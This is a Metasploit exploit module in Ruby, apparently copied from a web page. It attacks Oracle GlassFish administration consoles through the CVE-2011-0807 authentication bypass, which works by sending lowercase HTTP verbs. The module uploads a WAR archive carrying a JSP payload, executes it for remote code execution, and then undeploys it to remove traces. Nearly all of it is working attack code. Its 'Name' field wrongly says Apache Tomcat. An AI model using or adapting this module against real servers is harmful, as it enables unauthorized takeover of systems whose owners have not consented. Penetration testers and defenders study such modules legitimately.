Mark for later use.
- ##
- # $Id: $
- ##
- ##
- # This file is part of the Metasploit Framework and may be subject to
- # redistribution and commercial restrictions. Please see the Metasploit
- # Framework web site for more information on licensing and terms of use.
- # http://metasploit.com/framework/
- ###
- require 'msf/core'
- class Metasploit3 < Msf::Exploit::Remote
- Rank = ExcellentRanking
- HttpFingerprint = { :pattern => [ /GlassFish/ ] }
- include Msf::Exploit::Remote::HttpClient
- def initialize(info = {})
- super(update_info(info,
- 'Name' => 'Apache Tomcat Manager Application Deployer Authenticated Code Execution',
- 'Description' => %q{
- This module can be used to execute a payload on Oracle Glassfish servers that
- have an exposed administration application. The payload is uploaded as a WAR archive
- containing a jsp application.
- The module uses the authentication bypass identified by CVE-2011-0807 to archive
- code execution. To exploit the auth bypass http verbs in lowercase are used.
- The module has been tested and confirmed to work against:
- Sun GlassFish Enterprise Server v3 for Windows, English
- Oracle GlassFish Server 3.0.1 for Windows, English
- Oracle GlassFish Server 3.0.1 Open Source Edition for Windows, English
- Oracle GlassFish Server 3.0.1 Open Source Edition for Linux, English
- },
- 'Author' =>
- [
- 'Jason Bowes', #original discovery
- 'juan vazquez' # metasploit module
- ],
- 'License' => MSF_LICENSE,
- 'Version' => '$Revision: $',
- 'References' =>
- [
- [ 'CVE', '2011-0807' ],
- [ 'OSVDB', '71948' ],
- [ 'BID', '47438' ],
- [ 'URL', 'http://www.zerodayinitiative.com/advisories/ZDI-11-137/' ]
- ],
- 'Platform' => [ 'java', 'win', 'linux' ],
- 'Targets' =>
- [
- #
- # detection using the auth bypass
- #
- [ 'Automatic', { } ],
- #
- # it works always, at least over linux and windows on x86
- #
- [ 'Java Universal',
- {
- 'Arch' => ARCH_JAVA,
- 'Platform' => 'java'
- },
- ],
- #
- # Platform specific targets
- #
- [ 'Windows x86',
- {
- 'Arch' => ARCH_X86,
- 'Platform' => 'win'
- },
- ],
- [ 'Linux x86',
- {
- 'Arch' => ARCH_X86,
- 'Platform' => 'linux'
- },
- ],
- ],
- 'DefaultTarget' => 1,
- 'DisclosureDate' => 'Apr 19 2011'))
- register_options(
- [
- Opt::RPORT(4848), # Administration Web Interface Port
- OptBool.new('VERBOSE', [ false, 'Enable verbose output', false ]),
- OptString.new('PATH', [ true, "The URI path of the manager app", '/']),
- OptPort.new('GLASSFISH_ADMIN_PORT', [true, 'The Glassfish Web Administration Port', 4848]),
- OptPort.new('GLASSFISH_SERVER_PORT', [true, 'The Glassfish Application Server Port', 8080])
- ], self.class)
- end
- def auto_target
- print_status("Attempting to automatically select a target...")
- res = query_serverinfo()
- return nil if not res
- plat = detect_platform(res.body)
- arch = detect_arch(res.body)
- # No arch or platform found?
- if (not arch or not plat)
- return nil
- end
- # see if we have a match
- targets.each { |t|
- if (t['Platform'] == plat) and (t['Arch'] == arch)
- return t
- end
- }
- # no matching target found
- return nil
- end
- def exploit
- datastore['RPORT'] = datastore['GLASSFISH_ADMIN_PORT']
- mytarget = target
- if (target.name =~ /Automatic/)
- mytarget = auto_target
- if (not mytarget)
- raise RuntimeError, "Unable to automatically select a target"
- end
- print_status("Automatically selected target \"#{mytarget.name}\"")
- else
- print_status("Using manually select target \"#{mytarget.name}\"")
- end
- # We must regenerate the payload in case our auto-magic changed something.
- p = exploit_regenerate_payload(mytarget.platform, mytarget.arch)
- # Generate the WAR containing the EXE containing the payload
- jsp_name = rand_text_alphanumeric(4+rand(32-4))
- app_base = rand_text_alphanumeric(4+rand(32-4))
- # Generate the WAR containing the payload
- war = p.encoded_war({
- :app_name => app_base,
- :jsp_name => jsp_name,
- :arch => mytarget.arch,
- :platform => mytarget.platform
- }).to_s
- #
- # UPLOAD
- #
- print_status("Getting Information to upload...")
- viewstate, jsession, typefield, status_checkbox = get_upload_info
- if (not viewstate)
- raise RuntimeError, "Unable to get ViewState"
- end
- if (not jsession)
- raise RuntimeError, "Unable to get JSESSIONID"
- end
- if (not typefield)
- raise RuntimeError, "Unable to get the type field"
- end
- if (not status_checkbox)
- raise RuntimeError, "Unable to get the status checkbox"
- end
- print_status("ViewState: #{viewstate}") if datastore['VERBOSE']
- print_status("JSESSIONID: #{jsession}") if datastore['VERBOSE']
- print_status("type field: #{typefield}") if datastore['VERBOSE']
- print_status("status checkbox: #{status_checkbox}") if datastore['VERBOSE']
- boundary = rand_text_alphanumeric(15)
- data = "--#{boundary}\r\n"
- data << "Content-Disposition: form-data; name=\"uploadRdBtn\"\r\n\r\n"
- data << "client\r\n"
- data = "--#{boundary}\r\n"
- data << "Content-Disposition: form-data; name=\"form:sheet1:section1:prop1:fileupload\"; filename=\"#{app_base}.war\"\r\n"
- data << "Content-Type: application/octet-stream\r\n\r\n"
- data << war
- data << "\r\n"
- data << "--#{boundary}\r\n"
- data << "Content-Disposition: form-data; name=\"form:sheet1:section1:prop1:fileupload_com.sun.webui.jsf.uploadParam\"\r\n\r\n"
- data << "form:sheet1:section1:prop1:fileupload\r\n"
- data << "--#{boundary}\r\n"
- data << "Content-Disposition: form-data; name=\"form:sheet1:section1:prop1:extension\"\r\n\r\n"
- data << ".war\r\n"
- data << "--#{boundary}\r\n"
- data << "Content-Disposition: form-data; name=\"form:sheet1:section1:prop1:action\"\r\n\r\n"
- data << "client\r\n"
- data << "--#{boundary}\r\n"
- data << "Content-Disposition: form-data; name=\"#{typefield}\"\r\n\r\n"
- data << "war\r\n"
- data << "--#{boundary}\r\n"
- data << "Content-Disposition: form-data; name=\"form:war:psection:cxp:ctx\"\r\n\r\n"
- data << "#{app_base}\r\n"
- data << "--#{boundary}\r\n"
- data << "Content-Disposition: form-data; name=\"form:war:psection:nameProp:appName\"\r\n\r\n"
- data << "#{app_base}\r\n"
- data << "--#{boundary}\r\n"
- data << "Content-Disposition: form-data; name=\"form:war:psection:vsProp:vs\"\r\n\r\n"
- data << "\r\n"
- data << "--#{boundary}\r\n"
- data << "Content-Disposition: form-data; name=\"#{status_checkbox}\"\r\n\r\n"
- data << "true\r\n"
- data << "--#{boundary}\r\n"
- data << "Content-Disposition: form-data; name=\"form:war:psection:librariesProp:library\"\r\n\r\n"
- data << "\r\n"
- data << "--#{boundary}\r\n"
- data << "Content-Disposition: form-data; name=\"form:war:psection:descriptionProp:description\"\r\n\r\n"
- data << "\r\n"
- data << "--#{boundary}\r\n"
- data << "Content-Disposition: form-data; name=\"form_hidden\"\r\n\r\n"
- data << "form_hidden\r\n"
- data << "--#{boundary}\r\n"
- data << "Content-Disposition: form-data; name=\"javax.faces.ViewState\"\r\n\r\n"
- data << "#{viewstate}\r\n"
- data << "--#{boundary}--"
- print_status("Uploading #{war.length} bytes as #{app_base}.war ...")
- res = send_request_raw({
- 'uri' => datastore['PATH'] + '/common/applications/uploadFrame.jsf?form:title2:bottomButtons:uploadButton=Processing...&bare=false',
- 'method' => 'post', # lowercase for auth bypass
- 'data' => data,
- 'headers' =>
- {
- 'Cookie' => "JSESSIONID=#{jsession}",
- 'Content-Type' => 'multipart/form-data; boundary=' + boundary,
- 'Content-Length' => data.length
- }
- }, 20)
- if (! res)
- raise RuntimeError, "Upload failed [No Response]"
- end
- if (res.code != 302)
- print_status(res.body) if datastore['VERBOSE']
- raise RuntimeError, "Upload failed [#{res.code} #{res.message}]"
- end
- #
- # EXECUTE
- #
- datastore['RPORT'] = datastore['GLASSFISH_SERVER_PORT']
- jsp_path = '/' + app_base + '/' + jsp_name + '.jsp'
- print_status("Executing #{jsp_path}...")
- res = send_request_cgi({
- 'uri' => jsp_path,
- 'method' => 'GET'
- }, 20)
- if (! res)
- print_error("Execution failed on #{app_base} [No Response]")
- elsif (res.code < 200 or res.code >= 300)
- print_error("Execution failed on #{app_base} [#{res.code} #{res.message}]")
- print_status(res.body) if datastore['VERBOSE']
- end
- #
- # DELETE
- #
- datastore['RPORT'] = datastore['GLASSFISH_ADMIN_PORT']
- print_status("Getting info to undeploy...")
- viewstate, jsession, entry = get_delete_info(app_base)
- if (not viewstate)
- raise RuntimeError, "Unable to get ViewState"
- end
- if (not jsession)
- raise RuntimeError, "Unable to get JSESSIONID"
- end
- if (not entry)
- raise RuntimeError, "Unable to get entry to delete"
- end
- print_status("ViewState: #{viewstate}") if datastore['VERBOSE']
- print_status("JSESSIONID: #{jsession}") if datastore['VERBOSE']
- print_status("entry: #{entry}") if datastore['VERBOSE']
- data = 'propertyForm%3AdeployTable%3AtopActionsGroup1%3Afilter_list='
- data << '&propertyForm%3AdeployTable%3AtopActionsGroup1%3Afilter_submitter=false'
- data << '&' + Rex::Text.uri_encode(entry) + '=true'
- data << '&propertyForm%3AhelpKey=ref-applications.html'
- data << '&propertyForm_hidden=propertyForm_hidden'
- data << '&javax.faces.ViewState=' + Rex::Text.uri_encode(viewstate)
- data << '&com_sun_webui_util_FocusManager_focusElementId=propertyForm%3AdeployTable%3AtopActionsGroup1%3Abutton1'
- data << '&javax.faces.source=propertyForm%3AdeployTable%3AtopActionsGroup1%3Abutton1'
- data << '&javax.faces.partial.execute=%40all'
- data << '&javax.faces.partial.render=%40all'
- data << '&bare=true'
- data << '&propertyForm%3AdeployTable%3AtopActionsGroup1%3Abutton1=propertyForm%3AdeployTable%3AtopActionsGroup1%3Abutton1'
- data << '&javax.faces.partial.ajax=true'
- path_tmp = datastore['PATH'] + "/common/applications/applications.jsf"
- print_status("Undeploying #{app_base} ...")
- res = send_request_cgi({
- 'uri' => path_tmp,
- 'method' => 'post', # lowercase for auth bypass
- 'headers' =>
- {
- 'Cookie' => "JSESSIONID=#{jsession}"
- },
- 'data' => data
- }, 20)
- if (! res)
- print_error("WARNING: Undeployment failed on #{path} [No Response]")
- elsif (res.code < 200 or res.code >= 300)
- print_error("Deletion failed on #{path} [#{res.code} #{res.message}]")
- end
- handler
- end
- def query_serverinfo()
- path = datastore['PATH'] + '/common/appServer/jvmReport.jsf'
- res = send_request_raw(
- {
- 'uri' => path,
- 'method' => 'get' # lowercase for auth bypass
- }, 20)
- if (not res) or (res.code != 200)
- print_error("Failed: Error requesting #{path}")
- return nil
- end
- print_status(res.body) if datastore['VERBOSE']
- return res
- end
- def detect_platform(body = nil)
- if not body
- res = query_serverinfo()
- return nil if not res
- body = res.body
- end
- body.each_line { |ln|
- ln.chomp!
- case ln
- when /os\.name /
- os = ln.split('=')[1]
- case os
- when /Windows/
- return 'win'
- when /Linux/
- return 'linux'
- end
- end
- }
- end
- def detect_arch(body)
- body.each_line { |ln|
- ln.chomp!
- case ln
- when /os\.arch /
- ar = ln.split('=')[1].strip
- case ar
- when 'x86', 'i386'# 'i686' # only x86 (windows), i386 (linux) tested
- return ARCH_X86
- =begin
- when 'x86_64', 'amd64' # not tested
- return ARCH_X86
- =end
- end
- end
- }
- end
- def get_upload_info()
- path = datastore['PATH'] + '/common/applications/uploadFrame.jsf'
- res = send_request_raw(
- {
- 'uri' => path,
- 'method' => 'get' # lowercase for auth bypass
- }, 20)
- if (not res) or (res.code != 200)
- print_error("Failed: Error requesting #{path}")
- return nil
- end
- print_status(res.body) if datastore['VERBOSE']
- jsession = res.headers['Set-Cookie'].scan(/JSESSIONID=(.*);/)[0][0]
- viewstate = res.body.scan(/input type="hidden" name="javax.faces.ViewState" id="javax.faces.ViewState" value="(.*)" autocomplete="off"/)[0][0]
- typefield = res.body.scan(/select class="MnuStd_sun4" id="form:sheet1:sun_propertySheetSection.*:type:appType" name="(.*)" size/)[0][0]
- status_checkbox = res.body.scan(/input type="checkbox" id="form:war:psection:enableProp:sun_checkbox.*" name="(.*)" checked/)[0][0]
- if (viewstate.nil?)
- print_error("Failed: Error getting ViewState")
- return nil
- end
- if (jsession.nil?)
- print_error("Failed: Error getting JSESSIONID")
- return nil
- end
- if (typefield.nil?)
- print_error("Failed: Error getting the type field")
- return nil
- end
- if (status_checkbox.nil?)
- print_error("Failed: Error getting the status checkbox")
- return nil
- end
- return viewstate, jsession, typefield, status_checkbox
- end
- def get_delete_info(app='')
- path = datastore['PATH'] + '/common/applications/applications.jsf?bare=true'
- res = send_request_raw(
- {
- 'uri' => path,
- 'method' => 'get' # lowercase for auth bypass
- }, 20)
- if (not res) or (res.code != 200)
- print_error("Failed: Error requesting #{path}")
- return nil
- end
- print_status(res.body) if datastore['VERBOSE']
- jsession = res.headers['Set-Cookie'].scan(/JSESSIONID=(.*);/)[0][0]
- viewstate = res.body.scan(/input type="hidden" name="javax.faces.ViewState" id="javax.faces.ViewState" value="(.*)" autocomplete="off"/)[0][0]
- entry = nil
- results = res.body.scan(/<a id="(.*)col1:link" href="\/common\/applications\/applicationEdit.jsf.*appName=(.*)">/)
- results.each { |hit|
- if hit[1].eql?(app)
- entry = hit[0]
- entry << "col0:select"
- end
- }
- if (viewstate.nil?)
- print_error("Failed: Error getting ViewState")
- return nil
- end
- if (jsession.nil?)
- print_error("Failed: Error getting JSESSIONID")
- return nil
- end
- if (entry.nil?)
- print_error("Failed: Error getting the entry to delete")
- end
- return viewstate, jsession, entry
- end
- end